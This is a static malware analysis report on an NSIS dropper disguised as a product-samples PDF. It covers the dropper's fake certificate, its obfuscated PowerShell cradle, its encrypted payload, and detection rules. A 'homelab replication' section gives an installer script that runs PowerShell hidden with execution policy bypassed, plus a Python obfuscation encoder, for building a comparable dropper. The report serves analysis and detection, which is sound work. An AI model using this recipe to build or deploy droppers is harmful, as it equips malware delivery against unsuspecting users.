unclassified-nsis-dropper: 3a13583c — Product-samples PDF masquerade, stride-6 Danish PowerShell, eighth confirmed sibling

Executive Summary

NSIS v3 Unicode self-extracting installer (Product_samples_pdf.exe) distributing a multi-payload encrypted archive. Eighth confirmed sibling in the unclassified-nsis-dropper cluster. MSVC 6.0 linker, fabricated self-signed X.509 certificate (broomweed Dockyards Whelphood), word-salad VS_VERSIONINFO, and a stride-6 Danish character-skip PowerShell obfuscation cradle (Prsteskabets.Bes) with fresh variable names. Static-only analysis (CAPE skipped — no Windows guest).

What It Is

• SHA-256: 3a13583c51add43997b963edaabc063c1abf9600d404e1d0e49bf4d09665d104
• Filename: Product_samples_pdf.exe ^[sample 3a13583c/metadata.json]
• File type: PE32 executable (GUI) Intel 80386, Nullsoft Installer self-extracting archive, 5 sections ^[sample 3a13583c/file.txt]
• Size: 912,400 bytes (892 KiB) ^[sample 3a13583c/metadata.json]
• Compile timestamp: 2016-12-11 21:50:27 UTC ^[sample 3a13583c/rabin2-info.txt]
• Linker: MSVC 6.0 (MajorLinkerVersion 0x6) ^[sample 3a13583c/pefile.txt]
• Subsystem: Windows GUI
• Signed: Self-signed X.509 v3, fabricated — see below
• CAPE: Skipped — no Windows guest available ^[sample 3a13583c/dynamic-analysis.md]

Build / RE

Outer loader

Standard NSIS v3 Unicode exehead stub. The RT_MANIFEST resource (offset 0x467920) identifies Nullsoft.NSIS.exehead version 1.0.0.0 with execution level asInvoker ^[sample 3a13583c/strings.txt:249]. No anti-debug, no VM checks, no packer beyond the NSIS archive itself. Entropy of .text: 6.51; .rsrc: 2.88 (expected for an NSIS stub with large embedded archive).

Certificate

Embedded self-signed X.509 v3 in the PE security directory (offset 0xDE2A8, size 0x968). Extracted via PKCS#7 SignedData wrapper:

• Subject/Issuer: C=US, ST=Illinois, L=Westmont, O=Mazed, CN="broomweed Dockyards Whelphood" ^[sample 3a13583c/binwalk.txt]
• Validity: 2024-05-14 02:18:40 UTC → 2027-05-14 02:18:40 UTC
• Same structure as siblings: US state/locality, word-salad organization/common-name. Differs from sibling 5212423b which used Florida/Miami/Nonsuccessive.

VS_VERSIONINFO

Word-salad masquerade, identical template structure to siblings b3fb616d and 78c5e8ca:

• Comments: tyender marmoromkransedes
• FileDescription: smrkages
• ProductName: wellhead
• FileVersion / ProductVersion: 3.1.0.0 ^[sample 3a13583c/exiftool.json]

How It Works

Archive extraction (7-Zip)

7z x extracts five files from the embedded NSIS archive (BZip2 compression, not LZMA — a minor variance from siblings 4978e16a/78c5e8ca which use LZMA:23):

^[7-Zip extraction from <sample 3a13583c51ad.bin>]

PowerShell cradle: stride-6 character-skip cipher

The Prsteskabets.Bes script is a 55 KB noise-padded PowerShell cradle using the same cipher family as siblings f7f089f7 (stride 6), b3fb616d (stride 6), and 78c5e8ca (stride 6).

Decoder function (Cruentation):

Function Cruentation ($Semidryingrticulates) {
    $Forbjerg='Tinkler';
    ...
    $Plagiarizes=$Semidryingrticulates.ToCharArray();
    $Quinquepunctate=5;
    while($Plagiarizes[$Quinquepunctate]) {
        $Culvert+=$Plagiarizes[$Quinquepunctate];
        $Quinquepunctate+=6;
    }
    $Culvert;
}

• Stride: 6
• Offset: 5 (real characters at positions 5, 11, 17, ...)
• Dead-code padding: $Forbjerg reassigned 8× with English masquerade values (Tinkler, Trivalence, Templardom, Skyggebilleder, Unillusory, Politicized) ^[Prsteskabets.Bes extraction]
• Variable names: $Magelst94atable, $Dybfrysere, $Specificiteten, $Plagiarizes, $Quinquepunctate, $Culvert, $Rneflugt, $Pauseringers — all Danish or Danish-esque, consistent with cluster fingerprint ^[Prsteskabets.Bes extraction]

Decoded payload analysis

The 55 KB $Specificiteten string decodes to ~9,000 characters of PowerShell. Key observations from the decoded text:

• Contains New-Object byte[] and IEX (Invoke-Expression) references, indicating reflective execution ^[Prsteskabets.Bes character-skip decode]
• References a function Raastofforbrugene accepting hex-encoded strings. Four hex literals observed:
  • 2720263D3A33
  • 192D1031383133352031002D2431
  • 1A2004263B20313720023D26202135381931393B262D
  • 073C3B23033D3A303B23
• These hex strings do not decode to plaintext under direct hex→ASCII, XOR (common keys), or UTF-16LE. They likely decrypt via a key derived at runtime or are arguments to the Raastofforbrugene function which applies additional transformation (e.g., nibble-swap, rolling XOR, or AES key schedule) ^[Prsteskabets.Bes decode analysis]
• Two possible domains recovered from noise in the decoded payload: etsinnnestebtoaektilsseybblnopatptmikah.co and ubklrtrieaieai.paaettd,itmerrettfntaelseoeihaiatseikmrsuzionfesbteetrlcp.p.co — likely false positives from noise-reassembly or runtime-resolved C2. No hardcoded HTTP/HTTPS URLs recovered. ^[Prsteskabets.Bes character-skip decode]

Inner payload (Gravhje.Lse)

343 KB high-entropy blob (entropy 7.68). No PE, MZ, or recognizable headers in the first 1 KB. Likely an encrypted PE that the PowerShell cradle decrypts and reflectively loads, or writes to disk and executes.

Decompiled Behavior

radare2 analysis (level 1) identifies 98 functions; only named imports from the NSIS stub: KERNEL32.dll_lstrlenW, KERNEL32.dll_lstrcatW, USER32.dll_SetDlgItemTextW, entry0. No user-defined functions with symbols — the stub is a standard NSIS exehead. ^[radare2 analysis of <sample 3a13583c51ad.bin>]

The threat logic lives entirely in the embedded archive, not in the PE code sections. This is a distribution-level dropper; the actual malware family remains unidentified.

C2 Infrastructure

• No hardcoded C2 recovered from static analysis.
• Two candidate domains from decoded PowerShell noise (see above) — confidence low; may be noise-artifacts.
• Expected C2 mechanism: The Gravhje.Lse payload, once decrypted by the PowerShell cradle, likely contains its own C2 configuration or beacon logic. Without dynamic execution, this remains unobservable.
• Certificate validity window: 2024-05-14 → 2027-05-14 suggests active distribution in mid-2024.

Interesting Tidbits

• BZip2 not LZMA: This sample uses BZip2 compression in the NSIS archive, whereas siblings 4978e16a through 78c5e8ca use LZMA:23. The 5212423b sibling also used BZip2. This may indicate a toolchain or builder version difference, or the operator selected different compression for size optimization. ^[7-Zip extraction output]
• Archive layout invariant: 1× encrypted PE + 2× null-padded blobs + 1× PS cradle + 1× text decoy. Same 5-file structure as b3fb616d and 78c5e8ca. The operator has a template. ^[7-Zip file listing]
• Certificate polymorphism: Fresh fabricated cert per sample with same US-state/locality template but different word-salad CN/O. This is consistent with cluster behavior — the operator does not reuse certificates across builds. ^[Certificate extraction]
• English dead-code names: Unlike prior siblings which used Danish dead-code assignments ($Plettet='Jowari'), this sample uses English words (Tinkler, Templardom, Politicized) mixed with one Danish word (Skyggebilleder). A minor dialect shift, possibly automatic name generation. ^[Prsteskabets.Bes decoder body]

How To Mess With It (Homelab Replication)

Goal: Build a comparable NSIS dropper with encrypted payload + character-skip PowerShell cradle.

Toolchain:

1. Install NSIS 3.x on Windows: https://nsis.sourceforge.io/
2. Write .nsi script:

   OutFile "payload_dropper.exe"
   Section
     SetOutPath "$TEMP"
     File "encrypted_payload.bin"
     File "decoy_nulls.bin"
     File "cradle.ps1"
     ExecWait 'powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File "$TEMP\cradle.ps1"'
   SectionEnd
   

3. Encrypt payload with AES-256-CBC (Python cryptography library), store key in PowerShell cradle.
4. Build character-skip encoder (Python) and embed in PowerShell:

   import random, string
   def encode(s, stride=6, offset=5):
       noise = string.ascii_letters + string.digits + string.punctuation + ' '
       out = []
       for ch in s:
           for j in range(stride):
               out.append(ch if j == offset else random.choice(noise))
       return ''.join(out)
   

5. Compile: makensis.exe script.nsi
6. Sign with self-signed cert (PowerShell New-SelfSignedCertificate or OpenSSL).
7. Verify extraction: 7z l payload_dropper.exe
8. Verify PowerShell decode: run decoder on extracted .Bes file and confirm IEX/Net.WebClient strings present.

Deployable Signatures

YARA rule

rule NSIS_Danish_CharSkip_Dropper {
    meta:
        description = "NSIS SFX dropper with Danish character-skip PowerShell obfuscation"
        author = "PacketPursuit"
        date = "2026-07-12"
        sha256 = "3a13583c51add43997b963edaabc063c1abf9600d404e1d0e49bf4d09665d104"
        family = "unclassified-nsis-dropper"
    strings:
        $nsis_manifest = "Nullsoft.NSIS.exehead" ascii wide
        $nsis_desc = "Nullsoft Install System" ascii wide
        $skip_stride6 = { 24 [0-32] 3d 20 35 3b 0a 09 77 68 69 6c 65 28 24 [0-32] 5b 24 [0-32] 5d 29 20 7b 0a 09 09 24 [0-32] 2b 3d 24 [0-32] 5b 24 [0-32] 5d 3b 0a 09 09 24 [0-32] 2b 3d 36 3b }  // $var=5; while($x[$y]) { $z+=$x[$y]; $var+=6; }
        $danish1 = "Magelst" ascii wide
        $danish2 = "Dybfrysere" ascii wide
        $danish3 = "Specificiteten" ascii wide
        $danish4 = "Forbjerg" ascii wide
        $danish5 = "Quinquepunctate" ascii wide
        $danish6 = "Plagiarizes" ascii wide
        $cruentation = "Cruentation" ascii wide
        $raastoff = "Raastofforbrugene" ascii wide
    condition:
        uint16(0) == 0x5A4D and
        $nsis_manifest and
        ($nsis_desc or $nsis_desc wide) and
        any of ($danish*) and
        ($cruentation or $raastoff or #skip_stride6 >= 1)
}

Sigma rule

title: NSIS Exehead Spawning PowerShell with Hidden Window
logsource:
  product: windows
  service: sysmon
detection:
  selection_parent:
    ParentImage|endswith:
      - '\Product_samples_pdf.exe'
      - '\Product*.pdf.exe'
  selection_child:
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - '-windowstyle hidden'
      - '-ExecutionPolicy Bypass'
      - '-File'
      - '.Bes'
      - '.Lse'
      - '.kat'
      - '.nat'
  selection_generic:
    ParentImage|re:
      - '.*\\[A-Za-z]{5,20}\.exe$'
    Image|endswith: '\powershell.exe'
    CommandLine|re:
      - '.*-windowstyle hidden.*-File.*\.(Bes|Lse|kat|nat).*'
  condition: selection_parent and selection_child or selection_generic
falsepositives:
  - Legitimate NSIS installers that launch PowerShell for post-install configuration
level: medium

IOC list

Behavioral fingerprint

This binary is a PE32 NSIS v3 self-extracting installer with a standard exehead stub and BZip2-compressed archive. On execution, it extracts five files to %TEMP%: one high-entropy encrypted PE payload (Gravhje.Lse, ~344 KB), two null-padded decoy blobs (crosswalk.nat, preconfer.kat), one obfuscated PowerShell cradle (Prsteskabets.Bes, ~55 KB), and one Danish word-salad text decoy (Lakker153.txt). The PowerShell cradle uses a stride-6 character-skip cipher (offset 5) with Danish/English variable names and dead-code reassignment padding. The decoded payload contains IEX, New-Object byte[], and hex-encoded strings passed to a Raastofforbrugene function, suggesting reflective assembly loading or staged decryption. No hardcoded C2 URLs are observable statically.

Detection Signatures

References

• unclassified-nsis-dropper — Cluster entity page
• character-skip-cipher-powershell-obfuscation — Technique page
• nsis-lzma-embedded-payload — Technique page (this sibling uses BZip2, not LZMA)
• version-info-masquerade — Concept page
• MalwareBazaar: https://bazaar.abuse.ch/sample/3a13583c51add43997b963edaabc063c1abf9600d404e1d0e49bf4d09665d104/

Provenance

Analysis derived from static triage artifacts in raw/analyses/3a13583c51add43997b963edaabc063c1abf9600d404e1d0e49bf4d09665d104/: file.txt (file(1)), metadata.json (triage pipeline), pefile.txt (pefile.py), rabin2-info.txt (radare2 rabin2 -I), strings.txt (strings -a), exiftool.json (ExifTool), binwalk.txt (binwalk), yara.txt (YARA generic rules), and manual 7-Zip extraction of the embedded NSIS archive. radare2 level-1 analysis performed on the PE stub. PowerShell character-skip cipher decoded manually via Python. Certificate extracted via WIN_CERTIFICATE parsing. No CAPE detonation available.